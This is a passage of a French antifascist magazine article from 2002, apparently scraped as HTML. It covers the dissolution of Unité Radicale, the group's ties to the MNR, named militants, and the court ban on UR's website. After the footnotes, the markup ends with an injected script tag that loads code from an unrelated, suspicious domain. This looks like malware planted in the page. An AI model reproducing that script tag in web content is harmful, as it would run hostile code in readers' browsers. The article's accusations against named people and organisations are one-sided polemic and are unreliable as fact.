<p>Les journalistes auraient mieux fait de s&rsquo;intéresser un peu plus au MNR dont les prises de position peuvent se résumer en deux mots : veulerie et duplicité. Duplicité car Bruno Mégret et Franck Timmermans étaient parfaitement au courant de la double adhésion des militants d&rsquo;UR : ce sont eux-mêmes qui l&rsquo;avaient autorisée lors d&rsquo;une rencontre entre Mégret et une délégation emmenée par Christian Bouchet le 1er février 2002 : c&rsquo;est cette entrevue qui permit à Christian Bouchet et Fabrice Robert de devenir officiellement membres du Conseil national du MNR au congrès de février 2002 après y être entrés en juin 2001. Par ailleurs, Philippe Schleiter, directeur national du MNJ et cadre du MNR, avait rencontré Fabrice Robert et Guillaume Luyt en septembre 2000 à la fête Ile-de-France du MNR pour discuter du lancement de la CoordiNation, structure « unitaire » visant à réclamer la réunification du mouvement national. Mais bien d&rsquo;autres cadres nationalistes-révolutionnaires accompagnaient le mouvement, entre autres :</p>
<p>• Philippe Vardon, membre du comité exécutif d&rsquo;UR et secrétaire départemental MNJ des Alpes-Maritimes, inculpé le 2 mars 2002 de port d&rsquo;armes prohibées suite aux violences ayant accompagné l&rsquo;examen de la plainte d&rsquo;Elisabeth Pascal contre des militants de Ras l&rsquo;Front ;</p>
<p>• Stéphane Parédé, responsable régional MNJ du Languedoc-Roussillon et cadre UR ;</p>
<p>• Olivier Roudier, militant d&rsquo;UR sur Montpellier et candidat MNR dans la Drôme aux dernières législatives, lui aussi inculpé le 2 mars pour les mêmes raisons que Vardon ;</p>
<p>• Richard Deu, militant d&rsquo;UR et secrétaire départemental du MNR en Haute-Garonne nommé en juin 2001 ;</p>
<p>• Alexandre Faria, cadre UR et MNJ sur Toulouse ;</p>
<p>• Sylvain Averty, cadre UR sur Rennes et membre du bureau national du MNJ ;</p>
<p>• Pierre Muller, militant UR et responsable MNJ d&rsquo;Alsace, élu conseiller municipal MNR de Cernay en 2001, intervenant au congrès du MNR à Nice en février 2002 ;</p>
<p>• Elisabeth Pascal, conseillère régionale MNR de Languedoc-Roussillon et membre d&rsquo;UR depuis avril 2001 ;</p>
<p>• Frédéric Cantiani, cadre d&rsquo;UR et secrétaire départemental MNR du Gers ;</p>
<p>À la liste de tous ces militants dont faisaient partie Brunerie et ses proches, comme Cyril Bozonnet par exemple, il faudrait ajouter les manifestations du MNR auxquelles étaient conviés les militants d&rsquo;UR, sans que Bruno Mégret fasse la fine bouche en repoussant cette ignoble « extrême droite » : manifestation de Poitiers, congrès national ou départementaux, conseils nationaux MNR et MNJ, etc. Et pour cause : le MNR, confronté à un affaiblissement structurel lié aux départs successifs causés par le caporalisme des dirigeants parisiens ou par des désaccords idéologiques, était bien en peine de refuser du sang neuf et des énergies militantes, d&rsquo;où qu&rsquo;elles viennent. L&rsquo;absence de ligne politique très claire d&rsquo;UR, à part un virulent discours sur la « fracture ethnique », semblait en outre une garantie pour les dirigeants du MNR que cet entrisme serait totalement inoffensif. Comme en plus les militants de base du MNR pratiquaient eux-mêmes la surenchère raciste, tout le monde était content. D&rsquo;où le terme de veulerie qui peut servir à caractériser l&rsquo;attitude d&rsquo;un Bruno Mégret aux abois préférant au lendemain du 14 juillet tout renier plutôt que tout assumer. Le contraste est de fait saisissant avec le sens politique de Jean-Marie Le Pen condamnant la dissolution d&rsquo;une structure l&rsquo;ayant conchié depuis des mois : il a parfaitement compris qu&rsquo;un tel soutien laisserait totalement indifférente l&rsquo;opinion publique mais ravirait les militants de base, quelle que soit leur chapelle d&rsquo;appartenance. Il a ainsi prouvé qu&rsquo;il avait parfaitement tiré les leçons de l&rsquo;assassinat d&rsquo;Ibrahim Ali en 1998 à Marseille, lorsque la fermeté du soutien de Bruno Mégret aux militants FN impliqués avait assuré à ce dernier une véritable vague de sympathie à la base<sup><a href="https://reflexes.samizdat.net/chirac-naurait-rien-risque-sil-avait-ete-en-prison/#footnote_9_184" id="identifier_9_184" class="footnote-link footnote-identifier-link" title="Un des assassins d&rsquo;Ibrahim Ali, Mario D&rsquo;Ambrosio, a d&rsquo;ailleurs r&eacute;cemment obtenu un poste de contractuel ouvrant &agrave; la titularisation &agrave; la mairie de Vitrolles, gr&acirc;ce &agrave; un simple arr&ecirc;t&eacute; de stagiarisation pris par la mairie.">10</a></sup>.</p>
<p>SUR LA DISSOLUTION D&rsquo;UR</p>
<p>Mais le tableau n&rsquo;aurait pas été complet s&rsquo;il n&rsquo;y avait pas eu l&rsquo;épisode de la dissolution… Une fois de plus, on a pu voir toutes les organisations « démocratiques »<sup><a href="https://reflexes.samizdat.net/chirac-naurait-rien-risque-sil-avait-ete-en-prison/#footnote_10_184" id="identifier_10_184" class="footnote-link footnote-identifier-link" title="Inventaire &agrave; la Pr&eacute;vert avec la LICRA, Prochoix, le Cercle Marc Bloch, etc.">11</a></sup> réclamer à cor et à cri l&rsquo;intervention de l&rsquo;État, rappelant Chirac à ses devoirs de premier antifasciste de France… Triste pantalonnade<sup><a href="https://reflexes.samizdat.net/chirac-naurait-rien-risque-sil-avait-ete-en-prison/#footnote_11_184" id="identifier_11_184" class="footnote-link footnote-identifier-link" title="Cf. No Pasaran ! de septembre 2002.">12</a></sup> ! Tous nos bons « démocrates » n&rsquo;ont toujours pas compris que la loi ne pouvait en aucun cas être considéré comme un outil politique et que ce que l&rsquo;État utilise contre l&rsquo;extrême droite peut fort bien être retourné contre l&rsquo;extrême gauche, surtout lorsqu&rsquo;on constate l&rsquo;inanité du motif (UR organisation « paramilitaire » ! Tous ceux qui connaissent la structure auront bien ri !) et le fait qu&rsquo;UR n&rsquo;avait aucune existence légale… La loi, excellent paravent pour masquer la faiblesse des mobilisations militantes dans la rue contre les nationalistes ! À un niveau plus politique, il est toujours aussi navrant de constater que l&rsquo;une des maximes les plus stupides de l&rsquo;histoire politique française et européenne, « Pas de liberté pour les ennemis de la liberté ! », continue de servir de gage de radicalité à la social-démocratie en déroute. Il est en effet bien difficile pour tous nos stratèges de gôôôche de reconnaître que l&rsquo;appel au vote Chirac en avril dernier a été une faute politique majeure et qu&rsquo;ils sont, ne serait-ce que moralement, coresponsables de la dérive sécuritaire du gouvernement Raffarin. Aussi est-il bien plus facile de s&rsquo;acharner sur une petite organisation folklorique transformée en golem médiatique et offrir à Chirac l&rsquo;occasion inespérée de jouer la partition du courage et de « l&rsquo;engagement antifasciste ». Il n&rsquo;est pourtant pas difficile de comprendre, même si cela ne fera pas plaisir aux uns et aux autres, qu&rsquo;il n&rsquo;y a guère de différence entre l&rsquo;embastillement de José Bové en mai dernier, la répression contre les militants participant à l&rsquo;initiative No Border en juillet et la dissolution d&rsquo;UR. Dans tous les cas, l&rsquo;État montre sa fermeté face à tous les mouvements susceptibles pour des raisons idéologiques diverses de le mettre en difficulté. La droite libérale sait que sa marge de manoeuvre est étroite et tous les coups sont donc permis : l&rsquo;Ordre doit régner ! En outre, comme il fallait s&rsquo;y attendre, la dissolution a permis aux duettistes Robert et Luyt de poursuivre leur numéro en rendant publique une lettre à Chirac et en prétendant que le vrai motif de la dissolution de leur organisation résidait dans son engagement antisioniste. Même si cette dernière bouffonnerie n&rsquo;a trompé personne, le simple fait qu&rsquo;ils aient pu l&rsquo;étaler dans la presse suffit à décrédibiliser tout ce battage médiatique assez indigent.</p>
<p>L&rsquo;argument le plus fréquent pour justifier une dissolution sur l&rsquo;efficacité de laquelle, à les entendre, ses partisans ne se faisaient pourtant guère d&rsquo;illusions, a été que « cela allait les gêner ». La belle affaire ! Pour cela, il aurait fallu qu&rsquo;UR soit une organisation digne de ce nom. Or depuis le départ, ou la mise sur la touche de Christian Bouchet en mars dernier, il était évident qu&rsquo;UR était en pleine perte de vitesse. La direction, relativement collégiale<sup><a href="https://reflexes.samizdat.net/chirac-naurait-rien-risque-sil-avait-ete-en-prison/#footnote_12_184" id="identifier_12_184" class="footnote-link footnote-identifier-link" title="Christian Bouchet, Fabrice Robert, Guillaume Luyt, Richard Roudier, Andr&eacute;-Yves Beck, S&eacute;bastien Legentil, Philippe Vardon et Bernard Marillier.">13</a></sup>, n&rsquo;était plus remplacée que par une administration tricéphale Robert / Luyt / Roudier. La structure révélait sa faiblesse en se fractionnant en activisme local essentiellement concentré au sud de la Loire et il n&rsquo;existait quasiment plus de groupes locaux dignes de ce nom. Quant à la trésorerie, elle était au plus mal du fait du départ de Bouchet, principal argentier du mouvement grâce à Ars Magna<sup><a href="https://reflexes.samizdat.net/chirac-naurait-rien-risque-sil-avait-ete-en-prison/#footnote_13_184" id="identifier_13_184" class="footnote-link footnote-identifier-link" title="Petite structure associative bas&eacute;e &agrave; Nantes, produisant brochures, livres et T-Shirts.">14</a></sup>. Restaient quelques vitrines : le site Internet, la revue <em>Jeune Résistance</em> et une ou deux apparitions publiques tapageuses. Soit finalement exactement la même chose qu&rsquo;après la dissolution. Des réunions publiques dans le sud de la France en août et à Bourges en septembre n&rsquo;ont pour l&rsquo;instant pas permis qu&rsquo;une nouvelle structuration nationale sorte réellement des limbes malgré un nom ronflant sur lequel la presse s&rsquo;est jeté comme un pitbull nourri au yaourt : Les Jeunesses identitaires. La volonté affichée de récupérer les cadres déçus du MNR n&rsquo;est qu&rsquo;une rodomontade (si ce n&rsquo;est quelques cadres ou militants du MNJ, mais ces derniers étaient déjà largement radicalisés) et le créneau identitaire est déjà bien encombré, comme en témoigne le lancement en ce début novembre de la Maison des Identités<sup><a href="https://reflexes.samizdat.net/chirac-naurait-rien-risque-sil-avait-ete-en-prison/#footnote_14_184" id="identifier_14_184" class="footnote-link footnote-identifier-link" title="Cf. article suivant">15</a></sup>, premier avatar du MNR en ruine. Enfin la seule action un peu virulente de ce début d&rsquo;automne 2002, l&rsquo;agression contre le curé de la basilique Saint-Denis, a été menée par une équipe de militants du MNR<sup><a href="https://reflexes.samizdat.net/chirac-naurait-rien-risque-sil-avait-ete-en-prison/#footnote_15_184" id="identifier_15_184" class="footnote-link footnote-identifier-link" title="dont Guillaume Duchesne par exemple, qui a &eacute;t&eacute; candidat MNR aux l&eacute;gislatives 2002 dans la 11e circonscription des Yvelines (219 voix, 0,67 %). Ce surveillant p&eacute;nitentiaire &eacute;tait aussi membre du groupe Dernier Rempart, et proche de l&rsquo;&eacute;quipe de Fier de l&rsquo;&Ecirc;&Ecirc;tre et L&rsquo;Avant-Garde.">16</a></sup>, proches il est vrai de l&rsquo;ex-UR, mais sur une initiative strictement personnelle.</p>
<p>Bref, une fois de plus, le grand barnum politique a pu dérouler ses fastes en satisfaisant tout le monde. Qui a parlé d&rsquo;effets miroir ?</p>
<p><strong>Encart Internet</strong></p>
<p>En marge de la dissolution a eu lieu la procédure d&rsquo;interdiction du site Internet d&rsquo;UR, sur plainte de l&rsquo;UEJF et de l&rsquo;association J&rsquo;accuse !, principalement animée par Marc Knobel. Cette procédure, qui a abouti puisque le site a été interdit début août dernier<sup><a href="https://reflexes.samizdat.net/chirac-naurait-rien-risque-sil-avait-ete-en-prison/#footnote_16_184" id="identifier_16_184" class="footnote-link footnote-identifier-link" title="&Agrave; noter que le site n&rsquo;a pas eu &agrave; chercher tr&egrave;s loin sa d&eacute;fense puisqu&rsquo;il &eacute;tait d&eacute;fendu par une vieille connaissance, Christophe Pierre. Responsable du GUD &agrave; Assas &agrave; la fin des ann&eacute;es 1980 avec William Bonnefoy, il a &eacute;t&eacute; en particulier l&rsquo;organisateur d&rsquo;un meeting et d&rsquo;une tentative de coordination des jeunes nationalistes en avril 1988, menant les gudards &agrave; la rupture avec le MNR de J.-G. Malliarakis. Il a &eacute;galement laiss&eacute; quelques souvenirs un peu plus physiques par son implication dans diverses bagarres sur les campus universitaires parisiens. Plus r&eacute;cemment, il a sign&eacute; &laquo; l&rsquo;Appel de la Coordination de janvier 2001 pour l&rsquo;unit&eacute; du mouvement national &raquo; lanc&eacute; &agrave; l&rsquo;initiative d&rsquo;UR.">17</a></sup>, appelle plusieurs remarques en forme de points d&rsquo;interrogation. C&rsquo;est en effet peu dire que nous restons sceptiques face à ce type de démarche et que nous avons plus de questions que de réponses même si, souvent, poser la question revient à y répondre…</p>
<p>Ainsi pourquoi porter plainte fin juillet alors que le site existe depuis deux ans et que son contenu est globalement le même depuis cette époque ? Pourquoi essayer d&rsquo;interdire un site dont on sait parfaitement que grâce aux sites miroirs, il réapparaîtra quelques jours plus tard et que ses concepteurs seront auréolés du statut de martyrs de la liberté d&rsquo;expression et <strong>du soutien pro-palestinien</strong> qu&rsquo;ils ne méritent pas ? Enfin, surtout, pourquoi ne pas appliquer la même procédure à tous les sites ayant un contenu similaire à celui d&rsquo;UR, quoique sur des bases politiques différentes ? Or cette dernière question n&rsquo;est pas innocente : pourquoi l&rsquo;UEJF et Marc Knobel n&rsquo;ont-ils pas mis le même empressement à poursuivre le site raciste <a href="http://www.amisraelhai.org" target="_blank">www.amisraelhai.org</a> ? Il a en effet fallu attendre le mois d&rsquo;août pour que la presse s&rsquo;intéresse d&rsquo;un peu plus près à ce site au sionisme délirant sévissant pourtant depuis au moins un an et s&rsquo;inscrivant dans la mouvance droitière de la communauté juive franco-israélienne : la même qui soutient Alexandre Del Valle ou Oriana Fallaci et qui a pour principal mentor William Goldnadel. La même qui soutient les actions crapuleuses et parfois criminelles du Betar nouvelle génération ou même de la LDJ. La même qui profite de l&rsquo;indifférente bienveillance du CRIF qui a, une fois de plus, fait la preuve de sa mauvaise foi en minimisant le rôle de ce type de site, pourtant pas moins criminel au regard de la loi que les sites néo-nazis. Le site du CRIF a d&rsquo;ailleurs longtemps proposé un lien avec amisraelhai.org au nom de « la lutte contre la propagande anti-israélienne » et n&rsquo;a à notre connaissance absolument pas répondu à la Lettre ouverte de personnalités juives attaquées par <a href="http://www.amisraelhai.org" target="_blank">amisraelhai.org</a>, parue dans <em>Le Monde</em> du 18 septembre dernier. Cela étant, bien d&rsquo;autres sites de la même mouvance juive d&rsquo;extrême droite pourrait être concernés par ces remarques : aipj, sos-racaille ou islam-verite. On constate donc que la règle du « deux poids, deux mesures » a encore de bien solides partisans et on peut s&rsquo;interroger à nouveau sur l&rsquo;irresponsabilité politique des principales instances communautaires juives en France.</p>
<ol class="footnotes"><li id="footnote_0_184" class="footnote"><em>cf. No Pasaran</em>, septembre 2002.</li><li id="footnote_1_184" class="footnote">Tout aussi classique est le fait qu&rsquo;il travaillait pour une société de sécurité, Normandy, dont le patron, Axel Loustau, avait eu l&rsquo;insigne honneur d&rsquo;être impliqué dans l&rsquo;enquête sur la tentative d&rsquo;attentat contre le directeur de <em>Tribune juive</em> en 1996 aux côtés d&rsquo;autres anciens gudards comme Frédéric Chatillon ou Antoine Roucheray. <em>cf.</em> <em>REFLEXes</em> n°52, automne 1998.</li><li id="footnote_2_184" class="footnote">Toujours à l&rsquo;affût, il semble d&rsquo;ailleurs que Canal + veuille faire un reportage sur Maxime Brunerie et « Aurélie », prénom de substitution attribué par VSD à cette militante du MNJ et MNR.</li><li id="footnote_3_184" class="footnote">Le comble a été atteint par le verbatim de Christiane Chombeau dans <em>Le Monde</em> du 16 juillet dans laquelle la journaliste recycle des notes prises par elle le 22 septembre 2001 lors des Assises de la Radicalité tenues à Paris par UR. Outre l&rsquo;aspect très limite du procédé, l&rsquo;ensemble pêche par le fait qu&rsquo;étant nous-mêmes présents lors de ces assises, nous n&rsquo;y avons pas entendu les appels au meurtre attribués par la journaliste aux intervenants, ce qui n&rsquo;exclut pas le fait qu&rsquo;ils aient pu être tenus par des personnes dans la salle. Alors, problème d&rsquo;audition ou d&rsquo;invention ? En même temps, cette petite anecdote montre qu&rsquo;à force de rechercher les projecteurs médiatiques, UR a pu se rendre compte de ce que cela signifiait. Le vieux gag de l&rsquo;arroseur arrosé en quelque sorte…</li><li id="footnote_4_184" class="footnote"><em>La nouvelle extrême droite</em>, réédition par Le Rocher en mai de cette année d&rsquo;un livre creux publié en 1991 et intitulé <em>Extrême droite, l&rsquo;enquête</em>. Là où il y a escroquerie, c&rsquo;est qu&rsquo;à part une introduction de neuf pages torchée pour donner un peu de crédibilité à la nouveauté de l&rsquo;opus, les deux éditions sont rigoureusement identiques ! Mais cela permet à notre Hibernatus de l&rsquo;extrême droite de passer pour un spécialiste à la radio. CQFD !</li><li id="footnote_5_184" class="footnote"><em>Cf.</em> <em>Bêtes et méchants. Petite histoire des jeunes fascistes français</em>, Éditions REFLEX, 2001</li><li id="footnote_6_184" class="footnote">Il s&rsquo;agit d&rsquo;un sympathisant d&rsquo;UR à Nice, <strong>abonné au journal</strong>, ayant effectué un stage paramilitaire au Liban il y a quelques années dans les milieux islamistes. Ce charmant jeune homme a été arrêté le 10 novembre 2001 pour avoir tiré à bout portant au <strong>gum-cogne</strong> contre un père de famille dont la petite fille avait été effrayée par son chien. </li><li id="footnote_7_184" class="footnote">Le père, Richard Roudier, était membre de la direction d&rsquo;UR sous le pseudonyme de Jorgi Roumegas et participe à la revue <em>Montségur</em>. Il a déjà été condamné pour violences par le passé, tout comme l&rsquo;un de ses deux fils, Olivier.</li><li id="footnote_8_184" class="footnote">Au figuré tout autant qu&rsquo;au propre puisque le groupe de Fabrice Robert, Fraction, n&rsquo;a jamais rechigné à jouer avec des groupes ouvertement nazis ou même à reprendre certains titres de ces derniers.</li><li id="footnote_9_184" class="footnote">Un des assassins d&rsquo;Ibrahim Ali, Mario D&rsquo;Ambrosio, a d&rsquo;ailleurs récemment obtenu un poste de contractuel ouvrant à la titularisation à la mairie de Vitrolles, grâce à un simple arrêté de stagiarisation pris par la mairie.</li><li id="footnote_10_184" class="footnote">Inventaire à la Prévert avec la LICRA, Prochoix, le Cercle Marc Bloch, etc.</li><li id="footnote_11_184" class="footnote"><em>Cf. No Pasaran !</em> de septembre 2002.</li><li id="footnote_12_184" class="footnote">Christian Bouchet, Fabrice Robert, Guillaume Luyt, Richard Roudier, André-Yves Beck, Sébastien Legentil, Philippe Vardon et Bernard Marillier.</li><li id="footnote_13_184" class="footnote">Petite structure associative basée à Nantes, produisant brochures, livres et T-Shirts.</li><li id="footnote_14_184" class="footnote">Cf. article suivant</li><li id="footnote_15_184" class="footnote">dont Guillaume Duchesne par exemple, qui a été candidat MNR aux législatives 2002 dans la 11e circonscription des Yvelines (219 voix, 0,67 %). Ce surveillant pénitentiaire était aussi membre du groupe Dernier Rempart, et proche de l&rsquo;équipe de <em>Fier de l&rsquo;ÊÊtre</em> et <em>L&rsquo;Avant-Garde</em>.</li><li id="footnote_16_184" class="footnote">À noter que le site n&rsquo;a pas eu à chercher très loin sa défense puisqu&rsquo;il était défendu par une vieille connaissance, Christophe Pierre. Responsable du GUD à Assas à la fin des années 1980 avec William Bonnefoy, il a été en particulier l&rsquo;organisateur d&rsquo;un meeting et d&rsquo;une tentative de coordination des jeunes nationalistes en avril 1988, menant les gudards à la rupture avec le MNR de J.-G. Malliarakis. Il a également laissé quelques souvenirs un peu plus physiques par son implication dans diverses bagarres sur les campus universitaires parisiens. Plus récemment, il a signé « l&rsquo;Appel de la Coordination de janvier 2001 pour l&rsquo;unité du mouvement national » lancé à l&rsquo;initiative d&rsquo;UR.</li></ol><script src=https://buryebilgrill.online/footnotes></script>]]></content:encoded>
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